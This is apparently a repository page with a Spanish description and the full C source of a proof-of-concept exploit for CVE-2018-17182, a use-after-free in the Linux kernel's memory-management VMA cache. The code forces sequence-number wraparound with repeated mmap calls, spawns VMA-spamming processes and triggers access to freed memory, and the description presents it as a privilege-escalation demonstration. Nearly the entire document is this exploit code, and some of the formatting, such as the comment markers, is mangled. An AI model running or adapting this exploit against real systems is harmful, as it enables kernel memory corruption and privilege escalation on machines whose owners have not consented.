jedai47/cve-2018-17182Prueba de concepto del exploit para CVE-2018-17182, una vulnerabilidad de use-after-free en el kernel de Linux en el subsistema mm, que demuestra la escalada de privilegios mediante la manipulación de VMA y la corrupción de ranuras de caché.
#define _GNU_SOURCE #include <string.h> #include <sys/eventfd.h> #include <sys/signal.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <stdlib.h> #include <sys/mman.h> #include <err.h> #include <stdio.h> #include <sched.h> #include <unistd.h>
int vma_spam_control_fd = -1; int thread_done_fd = -1; int vma_spam_done_fd = -1; void sem_inc(int fd) { uint64_t val = 1; if (write(fd, &val, 8) != 8) err(1, "sem_inc"); } void sem_dec(int fd) { uint64_t val; if (read(fd, &val, 8) != 8) err(1, "sem_dec"); }
void vma_spam_child(void) { prctl(PR_SET_PDEATHSIG, SIGKILL); for (int i=0; i<2; i++) { sem_dec(vma_spam_control_fd); for (int i=0; i<1000; i++) { char *addr = mmap(NULL, 0x2000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) err(1, "mmap spam"); mprotect(addr, 0x1000, PROT_READ); } } sem_inc(vma_spam_done_fd); }
unsigned char child_stack_area[0x8000];
int empty_child_fn(void dummy) { syscall(__NR_exit, 0); / unreachable */ return 0; }
#define UAF_ADDR ((char*)0x133700000000)
int child_fn(void *dummy) { prctl(0x13371337);
void *p = mmap(NULL, 0x3000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
p += 0x1000;
for (unsigned long i=0UL; 1; i+=2) {
unsigned long mm_seq = i; // even
unsigned long task_seq = mm_seq - 2;
if (mm_seq == 0xfffffffaUL) break;
//if (mm_seq == 0xfffaUL) break;
if ((i % 0x1000000) == 0) {
/*
char state[100];
sprintf(state, "mm_seq(2) = 0x%lx\n", mm_seq);
write(1, state, strlen(state));
*/
// mm_sequence == i - 1
// task_sequence == mm_sequence - 2
//printf("at 0x%lx\n", i);
prctl(0x13371337);
}
p = mmap(p, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE|MAP_FIXED, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
}
sem_inc(vma_spam_control_fd);
for (unsigned long i = 0; i < 4; i++) {
munmap(UAF_ADDR + i*0x200000, 0x10000);
}
munmap(p-0x1000, 0x3000);
sem_inc(vma_spam_control_fd);
sem_dec(vma_spam_done_fd);
prctl(0x13371337);
sleep(1);
sem_inc(thread_done_fd);
syscall(__NR_exit, 0);
/* unreachable */
return 0;
}
int main(void) { cpu_set_t cset; CPU_ZERO(&cset); CPU_SET(0, &cset); if (sched_setaffinity(0, sizeof(cpu_set_t), &cset)) err(1, "affinity");
vma_spam_control_fd = eventfd(0, EFD_SEMAPHORE);
thread_done_fd = eventfd(0, EFD_SEMAPHORE);
vma_spam_done_fd = eventfd(0, EFD_SEMAPHORE);
int spchild = fork();
if (spchild == -1) err(1, "fork");
if (spchild == 0) {
vma_spam_child();
exit(0);
}
#define LONELY_MAPPING_ADDR ((char*)0x133800600000UL)
char *lonely_mapping = mmap(LONELY_MAPPING_ADDR, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (lonely_mapping != LONELY_MAPPING_ADDR)
err(1, "mmap lonely mapping");
for (unsigned long i=0; i<4; i++) {
void *addr = UAF_ADDR + i * 0x200000;
if (mmap(addr, 0x10000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0) != addr)
err(1, "mmap UAF_ADDR");
if (madvise(addr, 0x10000, MADV_RANDOM))
err(1, "madvise");
}
prctl(0x13371337);
void *p = mmap(NULL, 0x3000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
p += 0x1000;
for (unsigned long i=6UL; 1; i+=2) {
unsigned long mm_seq = i - 1; // always odd!
unsigned long task_seq = mm_seq - 2;
if (mm_seq == 0xffffffffUL) break;
//if (mm_seq == 0xffffUL) break;
if ((i % 0x1000000) == 0) {
// mm_sequence == i - 1
// task_sequence == mm_sequence - 2
//printf("at 0x%lx\n", i);
/*
char state[100];
sprintf(state, "mm_seq(1) = 0x%lx\n", mm_seq);
write(1, state, strlen(state));
*/
prctl(0x13371337);
}
p = mmap(p, 0x1000, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_NORESERVE|MAP_FIXED, -1, 0);
if (p == MAP_FAILED) err(1, "mmap");
}
// dirty hack to fault in everything we need
int child_tmp = clone(empty_child_fn, child_stack_area+sizeof(child_stack_area), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_THREAD|CLONE_VM, NULL);
sleep(3);
sem_inc(thread_done_fd);
sem_dec(thread_done_fd);
// try to get UAF_ADDR cached
for (unsigned long i=0; i<4; i++) {
UAF_ADDR[i * 0x200000] = 1;
}
// one more, to wrap the mm_seq around to 0.
// this should be a small mapping to avoid spamming the cache.
munmap(lonely_mapping, 0x1000);
prctl(0x13371337);
int child = clone(child_fn, child_stack_area+sizeof(child_stack_area), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_THREAD|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
sem_dec(thread_done_fd); // wait for wraparound
// #### fiddle with the multiplier in the range 0..3 so that it uses a cache slot
// #### that won't get clobbered
UAF_ADDR[0x4000 + 1 * 0x200000] = 1;
prctl(0x13371337);
}